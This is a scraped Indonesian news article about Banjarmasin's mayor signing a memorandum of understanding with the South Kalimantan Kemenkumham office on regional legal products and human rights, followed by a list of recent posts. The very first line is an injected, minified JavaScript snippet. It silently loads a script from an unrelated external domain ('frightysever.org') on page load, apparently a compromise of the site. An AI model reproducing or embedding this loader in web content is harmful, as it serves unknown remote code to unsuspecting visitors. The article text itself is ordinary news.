(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Walikota Banjarmasin Teken MoU dengan Kemenkumham


BANJARMASIN, Pemko Banjarmasin dan Kantor Kemenkumham Prov Kalsel melaksanakan penandatangan nota kesepahaman (MoU) tentang Pembentukan Pelayanan Pengembangan Budaya Hukum serta Penghormatan Pemajuan dan Pemenuhan Hak Asasi Manusia.

Kegiatan yang berlangsung di Ruang Rapat Berintegrasi Balai Kota Banjarmasin itu, di hadiri langsung oleh Walikota Banjarmasin H Ibnu Sina, Wakil Walikota Banjarmasin Hermansyah dan Kepala Kantor Kemenkumham Prov Kalsel, Imam Suyudi.

H Ibnu Sina mengatakan, dengan adanya penanda tangan nota kesepahaman tersebut Pemko Banjarmasin merasa sangat terbantu dalam hal pembentukan produk hukum daerah demi kemaslahatan masyarakat.

“Atas nama Pemerintah Kota Banjarmasin kami mengucapkan terimakasih, mudah – mudahan dengan hal ini bisa menjadi mitra bagi pemerintah kota dalam merancang, melaksanakan produk-produk peraturan daerah khususnya yang terkait dengan kemaslahatan warga,” ucapnya, Kamis (19/4).

Tak hanya itu, H Ibnu Sina juga menyatakan, dengan adanya MoU tersebut membuktikan spirit kolaborasi yang selalu digaungkan oleh Pemko Banjarmasin benar-benar terlaksana dengan baik.

“Ini adalah sebuah sinyal bahwa kerja sama kita ini sangat penting untuk diteruskan dan kami sangat merasa terbantu, dengan kita saling bekerja sama sebagai mana yang selalu kami gaungkan yakni spirit kolaborasi, maka kami ingin bergandeng tangan dengan siapapun untuk membangun Kota Banjarmasin termasuk juga dari aspek Hukum dan HAM,” jelasnya.

Sementara itu, Imam Suyudi mengatakan, dengan adanya MoU ini maka Kemenkumham dan Pemko Banjarmasin dapat bersama-sama mewujudkan peraturan perundang-undangan yang berkualitas..

Kamenkumham, terangnya memiliki tugas dan fungsi di bidang hukum yang salah satunya adalah menfasilitasi pembentukan produk hukum daerah, dengan rincian melakukan penyiapan bahan pembinaan dan pengadilan, pelaksanaan tugas teknis, kerja sama, pemantauan, evaluasi, serta penyusunan laporan pelaksanaan tugas teknis serta yang lainya.

“Semua itu dalam rangka mendukung perwujudan peraturan daerah yang bekualitas dan menguatkan peran kantor wilayah kemenkumham dalam pembentukan produk hukum daerah,” pungkasnya.(ammar)

Reporter : Ammar
Editor : Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.